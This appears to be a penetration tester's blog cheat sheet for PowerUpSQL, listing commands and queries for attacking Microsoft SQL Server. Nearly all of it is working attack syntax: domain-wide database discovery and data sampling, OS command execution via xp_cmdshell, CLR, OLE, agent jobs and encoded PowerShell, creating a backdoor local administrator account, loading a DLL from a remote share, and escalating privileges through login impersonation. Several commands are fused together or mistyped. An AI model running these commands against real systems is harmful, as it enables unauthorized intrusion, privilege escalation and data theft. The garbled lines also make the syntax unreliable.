PowerUpSQL Cheat Sheet & SQL Server Queries

4 min readFeb 8, 2020

PowerUpSQL from the folks at NetSPI can be used to attack SQL Server databases as well as extract sensitive data stored in them.

This cheat sheet contains example command syntax for the functions that I have used the most often for assessments and CTFs.

For a more expansive list, refer to the official cheat sheet:

https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet

Identify Instances and Databases

Discover Local SQL Server Instances

Get-SQLInstanceLocal

Discover Domain SQL Server Instances

Get-SQLInstanceDomain -Verbose

Get Server Info for Found Instances

Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

Get Database Names

Get-SQLInstanceDomain | Get-SQLDatabase -NoDefaults

Identify Encrypted databases (Note: These are automatically decrypted for admins)

Get-SQLDatabase -Username sa -Password Password1234 -Instance “<DBSERVERNAME\DBInstance>” -Verbose | Where-Object {$_.is_encrypted -eq “True”}

Version Query

Get-SQLInstanceDomain | Get-Query “select @@version”

Identify Sensitive Information

Get Tables from a Specific Database

Get-SQLInstanceDomain | Get-SQLTable -DatabaseName <DBNameFromGet-SQLDatabaseCommand> -NoDefaults

Get Column Details from a Table

Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName <DBName> -TableName <TableName>

Gather 5 Entries from Each Column

Get-SQLInstanceDomain | Get-SQLColumnSampleData -Keywords “<columnname1,columnname2,columnname3,columnname4,columnname5>” -Verbose -SampleSize 5

Gather 5 Entries from a Specific Table

Get-SQLQuery -Instance “<DBSERVERNAME\DBInstance>” -Query 'select TOP 5 * from <DatabaseName>.dbo.<TableName>'

Crawl Links for Instances in the Domain (A Valid Link Will Be Identified by the DatabaseLinkName Field in the Results)

Get-SQLInstanceDomain | Get-SQLServerLink -Verbose

Crawl Links for a Specific Instance

Get-SQLServerLinkCrawl -Instance “<DBSERVERNAME\DBInstance>” -Verbose

Query Version of Linked Database

Get-SQLQuery -Instance “<DBSERVERNAME\DBInstance>” -Query “select * from openquery(`”<DBSERVERNAME\DBInstance>`”,'select @@version')” -Verbose

Determine Names of Linked Databases (Note: tempdb, model ,and msdb are default databases usually not worth looking into. Master is also default but may have something and anything else is custom and definitely worth digging into) (The result is DatabaseName which feeds into following query)

Get-SQLQuery -Instance “<DBSERVERNAME\DBInstance>” -Query “select * from openquery(`”<DatabaseLinkName>`”,'select name from sys.databases')” -Verbose

Determine All the Tables Names from a Selected Linked Database (The result is TableName which feeds into following query)

Get-SQLQuery -Instance “<DBSERVERNAME\DBInstance>” -Query “select * from openquery(`”<DatabaseLinkName>`”,'select name from <DatabaseNameFromPreviousCommand>.sys.tables')” -Verbose

Gather the Top 5 Columns from a Selected Linked Table (The results are ColumnName and ColumnValue which feed into following query)

Get-SQLQuery -Instance “<DBSERVERNAME\DBInstance>” -Query “select * from openquery(`”<DatabaseLinkName>`”,'select TOP 5 * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand>')” -Verbose

Gather Entries from a Selected Linked Column

Get-SQLQuery -Instance “<DBSERVERNAME\DBInstance>” -Query “select * from openquery(`”<DatabaseLinkName>`”'select * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand> where <ColumnNameFromPreviousCommand>=<ColumnValueFromPreviousCommand>')” -Verbose

Command Execution

xp_cmdshell

(Note: xp_cmdshell disabled by default since SQL Server 2005)

Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance “<DBSERVERNAME\DBInstance>” -Command whoami

Creates and adds local user backup to the local administrators group:

Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance “<DBSERVERNAME\DBInstance>” -Command “net user backup Password1234 /add’ -VerboseInvoke-SQLOSCmd -Username sa -Password Password1234 -Instance “<DBSERVERNAME\DBInstance>” -Command “net localgroup administrators backup /add” -Verbose

Extended Stored Procedure

Add the extended stored procedure and list extended stored procedures

Create-SQLFileXpDll -OutFile C:\temp\test.dll -Command "echo test > c:\temp\test.txt" -ExportName xp_testGet-SQLQuery -UserName sa -Password Password1234 -Instance “<DBSERVERNAME\DBInstance>” -Query "sp_addextendedproc 'xp_test', '\\10.10.0.1\temp\test.dll'"Get-SQLQuery -UserName sa -Password Password1234 -Instance “<DBSERVERNAME\DBInstance>” -Query "EXEC xp_test"Get-SQLStoredProcedureXP -Instance “<DBSERVERNAME\DBInstance>” -Verbose

CLR Assemblies

Execute commands using CLR assembly

Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance “<DBSERVERNAME\DBInstance>” -Command "whoami" VerboseorInvoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance “<DBSERVERNAME\DBInstance>” -Command "powershell -e <base64>" -Verbose

OLE Automation

Execute commands using OLE automation procedures

Invoke-SQLOSCmdOle -Username sa -Password Password1234 -Instance “<DBSERVERNAME\DBInstance>” -Command "whoami" Verbose

Agent Jobs

Execute commands through SQL Agent Job service

Invoke-SQLOSCmdAgentJob -Subsystem PowerShell -Username sa -Password Password1234 -Instance “<DBSERVERNAME\DBInstance>” -Command "powershell e <base64encodedscript>" -VerboseSubsystem Options:–Subsystem CmdExec
-SubSystem PowerShell
–Subsystem VBScript
–Subsystem Jscript

List All Jobs

Get-SQLAgentJob -Instance “<DBSERVERNAME\DBInstance>” -username sa -Password Password1234 -Verbose

External Scripts

Python:

Invoke-SQLOSCmdPython -Username sa -Password Password1234 -Instance “<DBSERVERNAME\DBInstance>” -Command "powershell -e <base64encodedscript>" -Verbose

Invoke-SQLOSCmdR -Username sa -Password Password1234 -Instance “<DBSERVERNAME\DBInstance>” -Command "powershell -e <base64encodedscript>" -Verbose

Audit Checks

Find and exploit impersonation opportunities (Note: This doesn’t perform nested impersonation checks)

Invoke-SQLAuditPrivImpersonateLogin -Username sa -Password Password1234 -Instance “<DBSERVERNAME\DBInstance>” -Exploit -Verbose

Find databases that have been configured as trustworthy and exploit underlying vulnerable modules or configurations

Invoke-SQLAuditPrivTrustworthy -Instance “<DBSERVERNAME\DBInstance>” -Exploit -Verbose

Note: The following audit checks run web requests to load Inveigh via reflection. Be mindful of the environment and ability to connect outbound.

Invoke-SQLAuditPrivXpDirtree
Invoke-SQLUncPathInjection
Invoke-SQLAuditPrivXpFileexist

Manual SQL Server Queries

Query Current User & determine if the user is a sysadmin

select suser_sname()
Select system_user
select is_srvrolemember(‘sysadmin’)

Current Role

Select user

Current DB

select db_name()

List all tables

select table_name from information_schema.tables

List all databases

select name from master..sysdatabases

All Logins on Server (Note: if sysadmin shows more)

Select * from sys.server_principals where type_desc != ‘SERVER_ROLE’

All Database Users for a Database (Note: if sysadmin shows more)

Select * from sys.database_principals where type_desc != ‘database_role’;

List All Sysadmins

SELECT name,type_desc,is_disabled FROM sys.server_principals WHERE IS_SRVROLEMEMBER (‘sysadmin’,name) = 1

List All Database Roles

SELECT DB1.name AS DatabaseRoleName,
isnull (DB2.name, ‘No members’) AS DatabaseUserName
FROM sys.database_role_members AS DRM
RIGHT OUTER JOIN sys.database_principals AS DB1
ON DRM.role_principal_id = DB1.principal_id
LEFT OUTER JOIN sys.database_principals AS DB2
ON DRM.member_principal_id = DB2.principal_id
WHERE DB1.type = ‘R’
ORDER BY DB1.name;

Effective Permissions from the Server

select * from fn_my_permissions(null, ‘server’);

Effective Permissions from the Database

SELECT * FROM fn_dp1my_permissions(NULL, ‘DATABASE’);

Find SQL Server Logins Which can be Impersonated for the Current Database

select distinct b.name
from sys.server_permissions a
inner join sys.server_principals b
on a.grantor_principal_id = b.principal_id
where a.permission_name = ‘impersonate’

Exploiting Impersonation

SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER(‘sysadmin’)
EXECUTE AS LOGIN = ‘adminuser’
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER(‘sysadmin’)
SELECT ORIGINAL_LOGIN()

Exploiting Nested Impersonation

SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER(‘sysadmin’)
EXECUTE AS LOGIN = ‘stduser’
SELECT SYSTEM_USER
EXECUTE AS LOGIN = ‘sa’
SELECT IS_SRVROLEMEMBER(‘sysadmin’)
SELECT ORIGINAL_LOGIN()
SELECT SYSTEM_USER

This collection is due to the presentations, blog posts, and tweets from:

@nullbind

@nikhil_mitt

As well as the awesome contributors of the PowerUpSQL project